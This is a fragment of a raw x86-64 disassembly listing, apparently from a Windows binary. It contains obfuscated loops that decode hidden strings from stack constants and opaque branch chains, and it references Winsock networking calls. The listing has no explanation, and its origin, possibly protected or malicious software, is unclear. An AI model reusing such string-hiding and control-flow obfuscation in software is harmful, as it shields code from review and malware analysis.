movzx edi, r9b
sub dil, al
sub dil, 0x58
jmp 0x14007df86
add r10b, 0x7c
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x64
add dil, r10b
jmp 0x14007dfb7
add r10b, 0x10
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x70
movzx eax, byte [rbp + r11 + 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x14007d6d3
add r10b, 2
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xe
mov byte [rbp + r11 + 0x80], dil
inc r11
jmp 0x14007d6d3
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1a
cmp r8, 0x200
jb 0x14007db0a
sub r10b, 0x7c
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, r9b
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x38]
jmp 0x14007e085
lea ecx, [r10 + 0x2a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x26
cmp rbx, 9
jae 0x14007df17
lea rax, [r8 + 0xa]
cmp rbx, rax
jbe 0x14007de7e
lea edx, [r10 + 0x4c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x14
add dil, dl
jmp 0x14007db30
lea edx, [r10 - 0x42]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x32
add dil, dl
lea rax, [rbx + r8]
cmp rax, 9
je 0x14007df59
lea rax, [r8 + 0x2a]
cmp rbx, rax
jbe 0x14007ddf4
lea edx, [r10 - 0x22]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x12
add dil, dl
jmp 0x14007db72
sub r10b, 0x6c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xc
movzx eax, byte [rbp + r11 + 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x14007d6d3
add r10b, 0x28
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x18
add dil, r10b
jmp 0x14007dfb7
lea edx, [r10 - 0x44]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x24
jmp 0x14007df86
add r10b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007d6d3
sub r10b, 0x1c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3c
jmp 0x14007e011
lea edx, [r10 + 0x78]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x48
jmp 0x14007df2d
add r10b, 0xc
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x54
dec r11
inc r11
jmp 0x14007d6d3
sub r10b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
inc r8
dec r11
inc r11
jmp 0x14007d6d3
add r10b, 0x34
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6c
add dil, r10b
jmp 0x14007e085
lea rax, [r8 + 0x200]
cmp rbx, rax
jae 0x14007dd5b
lea edx, [r10 + 0x36]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7a
jmp 0x14007dbbc
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007dd93
sub r10b, 0x24
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 4
movzx eax, byte [rbp + r11 + 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x14007d6d3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007ddaa
lea edx, [r10 - 0x4c]
mov ecx, 0xa
jmp 0x14007df78
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007ddc1
sub r10b, 0x74
mov ecx, reloc.WS2_32.dll_shutdown
jmp 0x14007dfff
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007dbbf
add r10b, 0x64
movzx eax, r9b
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14007d6d3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007de1d
add r10b, 0x4a
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 6
add dil, r10b
jmp 0x14007e085
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007de4c
add r10b, 0x22
movzx eax, r9b
and al, r10b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14007d6d3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007de63
sub r10b, 6
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x14007dfff
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007db72
lea edx, [r10 - 0x2e]
mov ecx, 0x21
jmp 0x14007df78
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007deb6
sub r10b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
movzx eax, byte [rbp + r11 + 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x14007d6d3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007decd
lea edx, [r10 - 0x70]
mov ecx, 8
jmp 0x14007df78
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007dee4
add r10b, 0x68
mov ecx, setsockopt
jmp 0x14007dfff
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007db30
add r10b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14007d6d3
lea edx, [r10 - 0x10]
movzx eax, r9b
and al, dl
movzx ecx, r9b
sub cl, al
add cl, 0x38
lea edi, [rcx + rcx]
add dil, dl
add r10b, 0x26
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0xa
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x80], cl
jmp 0x14007e011
lea edx, [r10 + 0x5c]
movzx eax, r9b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14007df86
lea edx, [r10 + 0x62]
mov ecx, 0x29
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
sub r10b, 0x6e
movzx eax, r10b
and al, r9b
mov ecx, 1
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x80], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x78
add cl, r9b
mov byte [rbp + r11 + 0x80], cl
inc rbx
mov rax, r12
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x14007d6d3
sub r10b, 0x76
mov ecx, 0x1d
movzx eax, r9b
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007d6d3
sub r10b, 0x4e
movzx eax, r9b
and al, r10b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14007d6d3
sub r10b, 0x26
movzx eax, r9b
and al, r10b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007e085
lea edx, [rsi + 2]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0xe
add dil, dl
sub sil, 0x46
movzx eax, sil
and al, r9b
add al, al
sub sil, al
sub sil, 0x16
add sil, r9b
mov byte [rbp + r11 + 0x80], sil
inc r8
dec r11
inc r11
jmp 0x14007d6d3
add sil, 0x2a
movzx eax, sil
and al, r9b
add al, al
sub sil, al
lea edi, [r9 + rsi]
sub dil, 0x26
dec r11
inc r11
jmp 0x14007d6d3
movabs rax, 0x55c0c6759d08d4a2
add rax, r11
and dl, al
add dl, dl
sub al, dl
lea edi, [r9 + rax]
sub dil, 0x6e
movzx eax, byte [rbp + r11 + 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x14007d6d3
add r10b, 0xe
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x62
jmp 0x14007d6d0
sub r10b, 0x5e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6e
jmp 0x14007d6c0
lea r14, [rbp + 0x164f4c8]
jmp 0x14007e15a
lea r14, [rbp + 0x9290fe]
jmp 0x14007e15a
lea r14, [rbp + 0x80]
mov dword [rbp + 0x20], 0x6a5adedf
mov dword [rbp + 0x24], 0x56a55460
mov dword [rbp + 0x28], 0x6ba85c64
mov dword [rbp + 0x2c], 0x6abd6950
mov dword [rbp + 0x30], 0x7174586b
mov dword [rbp + 0x34], 0xba434c41
mov byte [rbp + 0x38], 0xe4
xorps xmm0, xmm0
movups xmmword [rbp + 0x39], xmm0
movzx edi, byte [rsp + 0x20]
call fcn.140068228
mov rbx, qword [rax]
call fcn.140068230
mov r8, qword [rax]
nop dword [rax]
nop dword [rax + rax]
xor r11d, r11d
cmp r11, 0x29
jae 0x14007ed10
movzx r10d, byte [rbp + r11 + 0x20]
mov esi, r10d
cmp rbx, r11
ja 0x14007ed07
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007e1fb
movabs rcx, 0xac019a32c476b3e
add rcx, r11
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
add dil, 0x4e
jmp 0x14007e228
je 0x14007ec92
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007ec08
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007ebd6
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007ebb5
movzx r9d, r11b
nop dword [rax]
cmp r8, r11
ja 0x14007ecfe
lea rcx, [r8 + 6]
cmp rbx, rcx
jae 0x14007e25e
lea edx, [r9 + 0x16]
movzx eax, dl
and al, r10b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007e2a0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007eb6e
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007eb48
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007eb18
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007eaf8
cmp rbx, rcx
je 0x14007eacc
nop dword [rax + rax]
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x14007e82e
nop dword [rax]
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007e813
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007e7ea
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14007e7c7
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14007e7ab
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14007e78e
lea rcx, [r8 + 0x3e8]
cmp rbx, rcx
je 0x14007e761
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14007e742
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14007e725
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14007e6f6
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14007e2b0
mov rbx, rcx
lea r8, [rcx + 0x200]
lea rax, [r8 + 0x80]
cmp rcx, rax
jb 0x14007ece1
lea rax, [r8 + 0x42]
cmp rcx, rax
jb 0x14007ecc4
lea rax, [r8 + 0x28]
cmp rcx, rax
jb 0x14007e4a1
lea rax, [r8 + 0x10]
cmp rcx, rax
jb 0x14007e486
lea rax, [r8 + 9]
cmp rcx, rax
jb 0x14007e467
lea rcx, [r8 + 6]
cmp rbx, rcx
jb 0x14007e6ad
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14007e668
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14007e628
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14007e603
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14007e2b0
mov rbx, rcx
lea r8, [rcx + 5]
lea rax, [r8 + 4]
cmp rcx, rax
ja 0x14007e5d4
lea rax, [r8 + 2]
cmp rcx, rax
ja 0x14007e5b4
lea rax, [r8 + 0x2a]
cmp rcx, rax
ja 0x14007e595
lea rax, [r8 + 0x41]
cmp rcx, rax
ja 0x14007e565
lea rax, [r8 + 0x61]
cmp rcx, rax
ja 0x14007e548
lea rcx, [r8 + 0x400]
cmp rbx, rcx
ja 0x14007e529
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14007e506
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14007e4e0
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14007e4c1
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14007e2b0
mov rbx, rcx
lea r8, [rcx + 0x3e8]
jmp 0x14007e2b0
lea edx, [r9 - 0x56]
movzx eax, dl
and al, r10b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007e2a0
lea ecx, [r9 + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x42
jmp 0x14007e230
sub r9b, 0x4e
movzx eax, r9b
and al, r10b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007e1c6
lea edx, [r9 - 0x50]
movzx eax, r10b
and al, dl
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14007eb88
add r9b, 0x34
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x6c
inc r8
dec r11
inc r11
jmp 0x14007e1b3
sub r9b, 0x48
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 8
dec r11
inc r11
jmp 0x14007e1b3
lea edx, [r9 + 0x3c]
movzx eax, r10b
and al, dl
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14007ea8a
sub r9b, 0x40
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x40
jmp 0x14007ebf0
add r9b, 0x44
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007e1b3
lea edx, [r9 - 0x38]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x78
add dil, dl
jmp 0x14007ec2d
add r9b, 0x4c
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x14
add dil, r9b
jmp 0x14007ec57
sub r9b, 0x30
movzx eax, r10b
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x14007e1b3
sub r9b, 0x66
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x36
mov byte [rbp + r11 + 0x20], dil
inc r11
jmp 0x14007e1b3
lea edx, [r9 + 0x1e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 0x20
jb 0x14007e61b
lea edx, [r9 - 0x4c]
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14007eb88
lea ecx, [r9 - 0x5e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6e
cmp rbx, 0x41
jae 0x14007ea71
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x14007e9dc
lea ecx, [r9 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 4
jmp 0x14007e642
lea ecx, [r9 + 0x26]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xa
lea rax, [rbx + r8]
cmp rax, 0x10
je 0x14007eab0
lea rax, [r8 + 0xa]
cmp rbx, rax
jbe 0x14007e90d
lea ecx, [r9 - 0x3a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6a
jmp 0x14007e67e
sub r9b, 0x7c
movzx eax, r9b
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x14007e1b3
add r9b, 8
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x38
jmp 0x14007ec57
lea edx, [r9 - 0x74]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_shutdown
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007ec2d
add r9b, 0x10
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x70
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007e1b3
sub r9b, 0x6c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xc
jmp 0x14007ebf0
lea edx, [r9 + 0x18]
movzx eax, dl
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007ea87
sub r9b, 0x64
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x44
dec r11
inc r11
jmp 0x14007e1b3
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14007e1b3
lea ecx, [r9 - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7c
jmp 0x14007eb88
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x14007e859
lea edx, [r9 + 0x3e]
movzx eax, dl
and al, r10b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007e6c3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007e88e
add r9b, 0x2c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x34
movzx eax, byte [rbp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x14007e1b3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007e8b6
lea edx, [r9 + 0x24]
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007ec2d
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007e8da
lea ecx, [r9 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
jmp 0x14007ea8a
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007e6c3
add r9b, 0x14
movzx eax, r9b
and al, r10b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14007e1b3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007e924
lea edx, [r9 + 0x42]
mov ecx, 0x19
jmp 0x14007eb77
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007e953
sub r9b, 0x42
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x32
inc r8
dec r11
inc r11
jmp 0x14007e1b3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007e977
lea ecx, [r9 + 0x2a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x26
jmp 0x14007ec2d
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007e9a0
sub r9b, 0x5a
movzx eax, r9b
and al, r10b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007ec57
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007e67e
add r9b, 0x22
movzx eax, r9b
and al, r10b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x14007e1b3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007ea11
add r9b, 0x58
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x68
movzx eax, byte [rbp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x14007e1b3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007ea35
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
jmp 0x14007ec2d
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007ea56
lea ecx, [r9 - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5c
jmp 0x14007ea8a
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007e642
lea edx, [r9 + 0x38]
mov ecx, 0x3c
jmp 0x14007eb77
lea ecx, [r9 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x50
add dil, r10b
add r9b, 0x6e
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 2
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x20], cl
jmp 0x14007ebf0
lea edx, [r9 - 0x54]
movzx eax, dl
and al, r10b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007ec2d
add r9b, 0x72
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1e
movzx eax, byte [rbp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x14007e1b3
sub r9b, 0xa
movzx eax, r9b
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007ec57
sub r9b, 2
movzx eax, r9b
and al, r10b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007e1b3
sub r9b, 0x76
movzx eax, r9b
and al, r10b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14007e1b3
lea edx, [r9 - 0x6e]
mov ecx, 1
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 0xe
movzx eax, r10b
and al, r9b
mov ecx, 0x31
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x20], cl
inc r8
dec r11
inc r11
jmp 0x14007e1b3
lea ecx, [r11 - 0x5e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6e
dec r11
inc r11
jmp 0x14007e1b3
lea edx, [r11 - 0x56]
movzx eax, dl
and al, r10b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add rbx, r8
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007e1b3
movabs rcx, 0x4b40b37635f3eeb2
add rcx, r11
and sil, cl
mov eax, select
sub al, sil
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx r9d, r11b
sub r9b, 0x16
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x66
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x20], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 + 0x28]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x18
add r10b, cl
mov byte [rbp + r11 + 0x20], r10b
inc rbx
mov rax, r12
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x14007e1b3
movabs rax, 0x20404ce984d641ba
add rax, r11
and sil, al
add sil, sil
sub r10b, sil
lea edi, [rax + r10]
sub dil, 0x16
movzx eax, byte [rbp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x14007e1b3
add r9b, 0x36
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x7a
jmp 0x14007e1b0
sub r9b, 0x46
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x16
jmp 0x14007e194
lea rdx, [rbp + 0x17c0dc8]
jmp 0x14007ed14
lea rdx, [rbp + 0x1037906]
jmp 0x14007ed14
lea rdx, [rbp + 0x20]
lea r8, [rbp + 0x2e0]
lea rcx, [rbp + 0x1c0]
call fcn.140068980
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x1a0]
call fcn.140068910
nop
lea r8, [rbp + 0x300]
mov rdx, rax
lea rcx, [rbp + 0x298]
call fcn.1400688a0
nop
lea rcx, [rbp + 0x1a0]
call fcn.14002f1f0
nop
lea rcx, [rbp + 0x1c0]
call fcn.14002f1f0
mov dword [rsp + 0x40], 0x68696869
mov dword [rsp + 0x44], 0x66617c7f
mov dword [rsp + 0x48], 0x777e6270
mov word [rsp + 0x4c], 0x6561
mov byte [rsp + 0x4e], 0x88
xor eax, eax
mov qword [rsp + 0x4f], rax
mov dword [rsp + 0x57], eax
mov word [rsp + 0x5b], ax
mov byte [rsp + 0x5d], al
movabs r14, 0xed061f97dbf188c1
movzx edi, byte [rsp + 0x20]
call fcn.140068228
mov rbx, qword [rax]
call fcn.140068230
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x1e
jae 0x14007f978
movzx r10d, byte [rsp + r11 + 0x40]
mov edx, r10d
movzx r9d, r11b
nop dword [rax]
movzx esi, r9b
cmp rbx, r11
ja 0x14007f96f
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007ee10
lea rcx, [r11 + r14]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x47
jmp 0x14007ee4a
je 0x14007f8fd
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007f8cd
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007f895
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007f86f
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14007f830
movzx r9d, r11b
nop
cmp r8, r11
ja 0x14007f966
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x14007ee7d
lea ecx, [r9 - 0x2b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x2d
jmp 0x14007eec0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007f816
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007f7f3
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007f7d6
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007f75a
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007f740
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14007f446
nop dword [rax]
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14007f426
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14007f400
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007f3da
lea rcx, [r8 + 0x64]
cmp rbx, rcx
je 0x14007f3bd
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007f39d
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14007f370
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14007f351
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14007f334
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14007f305
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14007eed0
mov rbx, rcx
lea r8, [rcx + 9]
lea rax, [r8 + 1]
cmp rcx, rax
jb 0x14007f949
